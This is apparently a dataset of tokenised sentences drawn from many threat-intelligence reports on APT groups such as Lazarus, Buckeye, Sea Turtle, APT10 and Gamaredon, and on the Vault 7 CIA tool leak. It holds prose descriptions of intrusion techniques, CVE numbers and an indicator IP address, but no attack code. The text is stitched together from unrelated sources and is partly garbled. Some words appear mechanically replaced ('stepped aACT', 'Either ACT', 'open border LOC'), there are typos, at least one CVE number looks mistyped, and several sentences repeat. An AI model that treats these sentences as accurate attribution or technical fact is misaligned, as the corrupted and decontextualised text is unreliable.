After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
But , thanks to the attackers known affection for decoy documents that pose as news summaries , we were able to date the campaign back to March 2018 .
With the experience gained from the APT attack that began in March 2017 , it seems this campaign has evolved into an attack with new capabilities , and an even more specific target , over a year later .
These unknown actors continued launching DDoS attacks over the next few years .
For simplicity , Kaspersky is calling them the BlackEnergy APT group .
Since the middle of 2015 , one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros that drop the Trojan to disk if the user chooses to run the script in the document .
A very good analysis and overview of the BlackEnergy attacks in Ukraine throughout 2014 and 2015 was published by the Ukrainian security firm Cys Centrum the text is only available in Russian for now , but can be read via Google Translate .
The earliest signs of destructive payloads with BlackEnergy go back as far as June 2014 .
BlackEnergy is a highly dynamic threat actor and the current attacks in Ukraine indicate that destructive actions are on their main agenda , in addition to compromising industrial control installations and espionage activities .
Kaspersky will continue to monitor the BlackEnergy attacks in Ukraine and update our readers with more data when available .
From Buhtrap perpetrating cybercrime for financial gain , its toolset has been expanded with malware used to conduct espionage in Eastern Europe and Central Asia .
Throughout our tracking , we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign .
In that case , we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
However , as the shift in targets occurred before the source code leak , we assess with high confidence that the same people behind the first Buhtrap malware attacks against businesses and banks are also involved in targeting governmental institutions .
When Buhtrap was targeting businesses , the decoy documents would typically be contracts or invoices .
The Buhtrap group is well known for its targeting of financial institutions and businesses in Russia .
Figure 2 is a typical example of a generic invoice the group used in a campaign in 2014 .
When the group's focus shifted to banks , the decoy documents were related to banking system regulations or advisories from FinCERT , an organization created by the Russian government to provide help and guidance to its financial institutions .
We confirmed that this is a DarkHydrus Group's new attack targeting Middle East region .
In July 2018 , Palo Alto disclosed DarkHydrus Group which showed its special interest to governments in Middle East .
Prior to that report , we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) , which is believed a work of DarkHydrus .
However , the final payload is something that welivesecurity have never seen associated with Buhtrap .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
In recent APT incidents , Dark Hydruns tend to adopt Office VBA macro instead of Office 0day vulnerability in the consideration of cost reduction .
ASERT uncovered a credential theft campaign we call LUCKY ELEPHANT where attackers masquerade as legitimate entities such as foreign government , telecommunications , and military .
From at least February 2019 to present , the actors in the LUCKY ELEPHANT campaign copied webpages to mimic South Asian government websites as well as Microsoft Outlook 365 login pages and hosted them on their own doppelganger domains , presumably to trick victims into providing login credentials .
ASERT suspects that the Actors use phishing emails to lure victims to the doppelganger websites and entice users to enter their credentials .
It is important to note that one domain , yahoomail[.]cf is only associated with this group from February 2019 onward .
In late 2018 , the domain was associated with a different APT group / campaign of Chinese origin .
Based on our analysis into the activity , ASERT deems with moderate confidence that an Indian APT group is behind the LUCKY ELEPHANT campaign .
The targets are typical of known Indian APT activity and the infrastructure was previously used by an Indian APT group .
DoNot Team has a history of heavily targeting Pakistan , in addition to other neighboring countries .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
DoNot Team’s confirmed use of this IP dates back to September 2018 , with a six-month gap until it was used to host doppelganger domains for the LUCKY ELEPHANT campaign in early February .
One of the IP addresses , 128.127.105.13 , was previously used by the DoNot Team (aka APT-C-35 ) , a suspected Indian APT group .
The actors behind LUCKY ELEPHANT recognize the effectiveness and use doppelganger webpages nearly identical to legitimate sites , enticing users to input their credentials .
The heavier targeting in Pakistan adheres to historical targeting and the ongoing tension between the two countries , which has escalated since a terrorist attack in Kashmir on 14 February 2019 .
The targeting of Pakistan , Bangladesh , Sri Lanka , Maldives , Myanmar , Nepal , and the Shanghai Cooperation Organization are all historical espionage targets by India .
However , it is clear is that Donot are actively establishing infrastructure and are targeting governments in South Asia .
First attack of this campaign took place in May 2018 .
Arbor also published APT research on this group , and named it ‘Donot’ .
Donot attacked government agencies , aiming for classified intelligence .
We identified this APT group coded as ‘APT-C-35’ in 2017 , who is mainly targeting Pakistan and other South Asian countries for Cyber Espionage .
At least 4 attack campaigns against Pakistan have been observed by us since 2017 .
Spear phishing emails with vulnerable Office documents or malicious macros are sent to victims .
In the latest attack , Donot group is targeting Pakistani businessman working in China .
Two unique malware frameworks , EHDevel and yty , are developed by attackers .
wuaupdt.exe is a CMD backdoor , which can receive and execute CMD commands sent from C2 .
Furthermore , it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
From the attack activity captured this time , it is obvious that Donot APT group is still keen on Pakistan as primary target of attack , and even expands scope of attack to include Pakistani staffs and institutions in China .
Buhtrap still make extensive use of NSIS installers as droppers and these are mainly delivered through malicious documents .
They first came to light in 2016 , when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
Earworm first came to light in 2016 , when they managed to steal sensitive information from the US Democratic National Committee (DNC) .
They were also behind an attack on the World Anti-Doping Agency (WADA) , in which they leaked confidential information about several drug tests .
SPLM , GAMEFISH , and Zebrocy delivery all maintain their own clusters , but frequently overlap later .
Our previous post on Sofacy's 2017 activity stepped aACT from the previously covered headline buzz presenting their association with previously known political hacks and interest in Europe and the US , and examines their under-reported ongoing activity in middle east , central asia , and now a shift in targeting further east , including China , along with an overlap surprise .
The larger , 300kb+ SPLM backdoors deployed in 2016 and 2017 are not observed any longer at targets in 2018 .
A previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
Either ACT , the group's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
The actors behind this campaign we call LUCKY ELEPHANT use doppelganger webpages to mimic legitimate entities such as foreign governments , telecommunications , and military .
Currently , Sofacy targets large air-defense related commercial organizations in China with SPLM , and moves Zebrocy focus across Armenia , Turkey , Kazahkstan , Tajikistan , Afghanistan , Mongolia , China , and Japan .
Either ACT , Sofacy's consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion .
According to this new alert , Hidden Cobra the U.S. government’s code name for Lazarus has been conducting FASTCash attacks stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016 .
Lazarus is a very active attack group involved in both cyber crime and espionage .
The group was initially known for its espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures .
Following US-CERTs report , Symantec's research uncovered the key component used in Lazarus's recent wave of financial attacks .
More recently , Lazarus has also become involved in financially motivated attacks , including an US$81 million dollar theft from the Bangladesh Central Bank and the WannaCry ransomware .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
In order to permit their fraudulent withdrawals from ATMs , Lazarus inject a malicious Advanced Interactive eXecutive (AIX) executable into a running , legitimate process on the switch application server of a financial transaction network , in this case a network handling ATM transactions .
It was previously believed that the attackers used scripts to manipulate legitimate software on the server into enabling the fraudulent activity .
In recent years , Lazarus has also become involved in financially motivated attacks .
This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses , allowing the attackers to steal cash from ATMs .
Lazarus was linked to the $81 million theft from the Bangladesh central bank in 2016 , along with a number of other bank heists .
Lazarus was also linked to the WannaCry ransomware outbreak in May 2017 .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware .
In short , Lazarus continues to pose a serious threat to the financial sector and organizations should take all necessary steps to ensure that their payment systems are fully up to date and secured .
As with the 2016 series of virtual bank heists , including the Bangladesh Bank heist , FASTCash illustrates that Lazarus possesses an in-depth knowledge of banking systems and transaction processing protocols and has the expertise to leverage that knowledge in order to steal large sums from vulnerable banks .
The attack , which starts with a malicious attachment disguised as a top secret US document , weaponizes TeamViewer , the popular remote access and desktop sharing software , to gain full control of the infected computer .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
It is hard to tell if there are geopolitical motives behind this campaign by looking solely at the list of countries it was targeting , since it was not after a specific region and the victims came from different places in the world .
The initial infection vector used by the threat actor also changed over time , during 2018 we have seen multiple uses of self-extracting archives instead of malicious documents with AutoHotKey , which displayed a decoy image to the user .
The recent wave of FASTCash attacks demonstrates that financially motivated attacks are not simply a passing interest for the Lazarus group and can now be considered one of its core activities .
Although both examples of the different delivery methods described above show an exclusive targeting of Russian speakers , the recurring financial and political themes that they use highlight the attacker's interest in the financial world once more .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
Gamaredon Group is an alleged Russian threat group .
Gamaredon Group has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
EvilGnome's functionalities include desktop screenshots , file stealing , allowing capturing audio recording from the user’s microphone and the ability to download and execute further modules .
Gamaredon Group primarily makes use of Russian hosting providers in order to distribute its malware .
Gamaredon Group's implants are characterized by the employment of information stealing tools — among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
Gamaredon Group infects victims using malicious attachments , delivered via spear phishing techniques .
The techniques and modules employed by EvilGnome — that is the use of SFX , persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent , created on Thursday , July 4 .
As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
During our 2018 monitoring of this group , we were able to identify different techniques utilized by very similar attackers in the MENA region , sometimes on the same target .
Gaza Cybergang Group3 (highest sophistication) whose activities previously went by the name Operation Parliament .
Gaza Cybergang has been seen employing phishing , with several chained stages to evade detection and extend command and control server lifetimes .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
Gaza Cybergang Group1 is an attack group with limited infrastructure and an open-source type of toolset , which conducts widespread attacks , but is nevertheless focused on Palestinian political problems .
In this campaign , Gaza Cybergang used disposable emails and domains as the phishing platform to target the victims .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
We expect the damage caused by these groups to intensify and the attacks to extend into other regions that are also linked to the complicated Palestinian situation .
Cylance determined that the ‘Ghost Dragon’ group utilized specifically tailored variants of Gh0st RAT , which the group modified from the 3.6 version of the source code released in 2008 .
The standard network protocol for Gh0st RAT 3.6 employs zlib compression , which utilizes ‘Gh0st’ as a static five-byte packet flag that must be included in the first five bytes of initial transmission from the victim .
In a more recent version of the modified Gh0st RAT malware , Ghost Dragon implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
SPEAR has observed numerous different XOR keys utilized by Ghost Dragon .
exploit and tools continued to be used after Buckeye's apparent disappearance in 2017 .
The Buckeye attack group was using Equation Group tools to gain persistent access to target organizations at least a year prior to the Shadow Brokers leak .
Buckeye's use of Equation Group tools also involved the exploit of a previously unknown Windows zero-day vulnerability .
While Buckeye appeared to cease operations in mid-2017 , the Equation Group tools it used continued to be used in attacks until late 2018 .
The 2017 leak of Equation Group tools by a mysterious group calling itself the Shadow Brokers was one of the most significant cyber security stories in recent years. However , Symantec has now found evidence that the Buckeye Cyber Espionage group (aka APT3 , Gothic Panda ) began using Equation Group tools in attacks at least a year prior to the Shadow Brokers leak .
Equation is regarded as one of the most technically adept espionage groups and the release of a trove of its tools had a major impact , with many attackers rushing to deploy the malware and exploits disclosed .
DoublePulsar was delivered to victims using a custom exploit tool (Trojan.Bemstour) that was specifically designed to install DoublePulsar .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability ( CVE-2017-0143 ) was patched in March 2017 after it was discovered to have been used by two exploit tools EternalRomance and EternalSynergy that were also released as part of the Shadow Brokers leak .
It was reported by Symantec to Microsoft in September 2018 and was patched on March 12 , 2019 .
How Buckeye obtained Equation Group tools at least a year prior to the Shadow Brokers leak remains unknown .
The Buckeye attack group had been active since at least 2009 , when it began mounting a string of espionage attacks , mainly against organizations based in the U.S .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group .
Over the coming months , it progressively released more tools , until April 2017 , when it released a final , large cache of tools , including the DoublePulsar backdoor , the FuzzBunch framework , and the EternalBlue , EternalSynergy , and EternalRomance exploit tools .
However , Buckeye had already been using some of these leaked tools at least a year beforehand .
The earliest known use of Equation Group tools by Buckeye is March 31 , 2016 , during an attack on a target in Hong Kong .
Beginning in March 2016 , Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar) , a backdoor that was subsequently released by the Shadow Brokers in 2017 .
However , while activity involving known Buckeye tools ceased in mid-2017 , the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware .
During this attack , the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi) .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 , when it was used in an attack against an educational institution in Hong Kong .
When used against 32-bit targets , Bemstour still delivered the same DoublePulsar backdoor .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 , Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the ACT the Windows SMB Server handles certain requests .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
In the case of the Buckeye exploit tool , the attackers exploited their own zero-day vulnerability (CVE-2019-0703) .
It is noteworthy that the attackers never used the FuzzBunch framework in its attacks .
FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017 .
There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak .
However , aside from the continued use of the tools , Symantec has found no other evidence suggesting Buckeye has retooled .
this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
This IP is very interesting because it connects with tele.zyns.com and old infrastructures used by chinese APT or DDOS Chinese team against the ancient soviet republics .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
All zero-day exploits known , or suspected , to have been used by this group are for vulnerabilities in Internet Explorer and Flash .
According to reports , the Philippines is the most exposed country in ASEAN to the cyberattacks known as advanced persistent threats , or APTs .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
In addition to file-based protection , customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
However , in this attack , this file is used to load the Hussarini backdoor via DLL hijacking .
Today , this malware is still actively being used against the Philippines .
Hussarini was first mentioned in APT campaigns targeting the Philippines and Thailand in 2014 .
Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam's source in both IronStealer and Iron ransomware .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Xagent – A variant of JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms .
Its activities were traced back to 2010 in FireEye's 2013 report on operation Ke3chang – a cyberespionage campaign directed at diplomatic organizations in Europe .
We have been tracking the malicious activities related to this threat actor and discovered a previously undocumented malware family with strong links to the Ke3chang group – a backdoor we named Okrum .
Furthermore , from 2015 to 2019 , we detected new versions of known malware families attributed to the Ke3chang group – BS2005 backdoors from operation Ke3chang and the RoyalDNS malware , reported by NCC Group in 2018 .
Ke3chang behind the attacks seemed to have a particular interest in Slovakia , where a big portion of the discovered malware samples was detected; Croatia , the Czech Republic and other countries were also affected .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The story continued in late 2016 , when we discovered a new , previously unknown backdoor that we named Okrum .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
In addition to file-based protection , customers of the DeepSight has received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
In 2018 , we discovered a new version of the Ketrican backdoor that featured some code improvements .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
Indeed , we have detected various external tools being abused by Okrum , such as a keylogger , tools for dumping passwords , or enumerating network sessions .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The unnamed company makes products used in the military and aerospace industries , and the hackers could have been after commercial secrets or more traditional espionage , according to ClearSky , the cybersecurity firm that exposed the operation .
North Korean dictator Kim Jong Un has set ambitious economic goals , and some cybersecurity analysts have predicted he will unleash the Pyongyang-affiliated hackers to meet those deadlines by targeting multinational companies’ trade secrets .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object , the Elise backdoor .
Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017 , this new activity clearly indicates the association (ASEAN) clearly remains a priority collection target in the region .
Researchers implicated Lazarus Group because of digital clues including a malicious implant known as Rising Sun that has been attributed to the group .
The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file , and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script .
Lazarus used the open-source tool Invoke-PSImage , released December 20 , to embed the PowerShell script into the image file .
Once the script runs , it passes the decoded script from the image file to the Windows command line in a variable $x , which uses cmd.exe to execute the obfuscated script and run it via PowerShell .
The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019 , warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names .
In the Sea Turtle campaign , Talos was able to identify two distinct groups of victims .
The first group , we identify as primary victims , includes national security organizations , ministries of foreign affairs , and prominent energy organizations .
The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors .
In most cases , threat actors typically stop or slow down their activities once their campaigns are publicly revealed .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
Captured legitimate user credentials when users interacted with these actor - controlled servers .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
As of early 2019 , the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure .
On January 4 , Packet Clearing House , which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system , provided confirmation of this aspect of the actors’ tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar .
During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
In addition to the MitM server IP addresses published in previous reports , Talos identified 16 additional servers leveraged by the actor during the observed attacks .
The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials .
In some cases , the victims were redirected to these actor-controlled servers displaying the stolen certificate .
One notable aspect of the campaign was the actors' ability to impersonate VPN applications , such as Cisco Adaptive Security Appliance (ASA) products , to perform MitM attacks .
At this time , we do not believe that the attackers found a new ASA exploit .
Rather , they likely abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network .
As an example , DNS records indicate that a targeted domain resolved to an actor-controlled MitM server .
In another case , the attackers were able to compromise NetNod , a non-profit , independent internet infrastructure organization based in Sweden .
Using this access , the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.]net .
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
In one of the more recent campaigns on March 27 , 2019 , the threat actors targeted the Sweden-based consulting firm Cafax .
We assess with high confidence that Sea Turtle was targeted in an attempt to re-establish access to the NetNod network , which was previously compromised by this threat actor .
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
These actors perform DNS hijacking through the use of actor-controlled name servers .
Sea Turtle have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
These actors use Let's Encrypts , Comodo , Sectigo , and self-signed certificates in their MitM servers to gain the initial round of credentials .
These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
we believe that the Sea Turtle campaign continues to be highly successful for several reasons .
Had more ccTLDs implemented security features such as registrar locks , attackers would be unable to redirect the targeted domains .
The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials .
Cisco Talos will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
By the end of 2016 , the CIA's hacking division , which formally falls under the agency's Center for Cyber Intelligence (CCI) , had over 5000 registered users and had produced more than a thousand hacking systems , trojans , viruses , and other weaponized malware .
Such is the scale of the CIA's undertaking that by 2016 , its hackers had utilized more code than that used to run Facebook .
Wikileaks has carefully reviewed the Year Zero disclosure and published substantive CIA documentation while avoiding the distribution of 'armed' cyberweapons until a consensus emerges on the technical and political nature of the CIA's program and how such 'weapons' should analyzed , disarmed and published .
These redactions include ten of thousands of CIA targets and attack machines throughout Latin America , Europe and the United States .
The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it is on .
As of October 2014 the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks .
The CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
Despite iPhone's minority share (14.5%) of the global smart phone market in 2016 , a specialized unit in the CIA's Mobile Development Branch produces malware to infest , control and exfiltrate data from iPhones and other Apple products running iOS , such as iPads .
The attack against Samsung smart TVs was developed in cooperation with the United Kingdom's MI5/BTSS .
CIA's arsenal includes numerous local and remote zero days developed by CIA or obtained from GCHQ , NSA , FBI or purchased from cyber arms contractors such as Baitshop .
These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
CIA's malware includes multiple local and remote weaponized zero days , air gap jumping viruses such as Hammer Drill which infects software distributed on CD/DVDs , infectors for removable media such as USBs , systems to hide data in images or in covert disk LOCs Brutal Kangaroo and to keep its malware infestations going .
Many of these infection efforts are pulled together by the CIA's Automated Implant Branch (AIB) , which has developed several attack systems for automated infestation and control of CIA malware , such as Assassin and Medusa .
The CIA has developed automated multi-platform malware attack and control systems covering Windows , Mac OS X , Solaris , Linux and more , such as EDB's HIVE and the related Cutthroat and Swindle tools , which are described in the examples section below .
By hiding these security flaws from manufacturers like Apple and Google the CIA ensures that it can hack everyone &mdsh; at the expense of leaving everyone hackable .
Once in Frankfurt CIA hackers can travel without further border checks to the 25 European countries that are part of the Shengen open border LOC — including France , Italy and Switzerland .
A number of the CIA's electronic attack methods are designed for physical proximity .
The attacker is provided with a USB containing malware developed for the CIA for this purpose , which is inserted into the targeted computer .
The attacker then infects and exfiltrates data to removable media .
As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
For example , the CIA attack system Fine Dining , provides 24 decoy applications for CIA spies to use .
For example , Comodo was defeated by CIA malware placing itself in the Window's Recycle Bin .
CIA hackers discussed what the NSA's Equation Group hackers did wrong and how the CIA's malware makers could avoid similar exposure .
The CIA's Remote Devices Branch's UMBRAGE group collects and maintains a substantial library of attack techniques 'stolen' from malware produced in other states including the Russian Federation .
This information is used by the CIA's 'JQJIMPROVISE' software (see below) to configure a set of CIA malware suited to the specific needs of an operation .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
HIVE is a multi-platform CIA malware suite and its associated control software .
A series of standards lay out CIA malware infestation patterns which are likely to assist forensic crime scene investigators as well as Apple , Microsoft , Google , Samsung , Nokia , Blackberry , Siemens and anti-virus companies attribute and defend against attacks .
In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky’s Winnti – More than just a game” .
The OSB functions as the interface between CIA operational staff and the relevant technical support staff .
A sustained cyberespionage campaign targeting at least three companies in the United States and Europe was uncovered by Recorded Future and Rapid7 between November 2017 and September 2018 .
The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
The attackers then enumerated access and conducted privilege escalation on the victim networks , utilizing DLL sideloading techniques documented in a US-CERT alert on APT10 to deliver malware .
On the two other victim networks , the attackers deployed a unique version of the UPPERCUT (ANEL) backdoor , known to have only been used by APT10 .
APT10 actors then compressed proprietary data from Visma using WinRAR (deployed by the attackers) and exfiltrated to a Dropbox account using the cURL for Windows command-line tool .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
On top of the breadth , volume , and targets of attacks that APT10 has conducted since at least 2016 , we now know that these operations are being run by the Chinese intelligence agency , the Ministry of State Security (MSS) .
Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd , the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
The backdoor was deployed using the Notepad++ updater and sideloading malicious DLL , as noted in APT10’s targeting of Japanese corporations in July 2018 .
That attack was attributed to perpetrators Kaspersky called the Winnti Group .
APT10 is a threat actor that has been active since at least 2009 .
APT10 has historically targeted healthcare , defense , aerospace , government , heavy industry and mining , and MSPs and IT services , as well as other sectors , for probable intellectual property theft .
We believe APT10 is the most significant Chinese state-sponsored cyber threat to global corporations known to date .
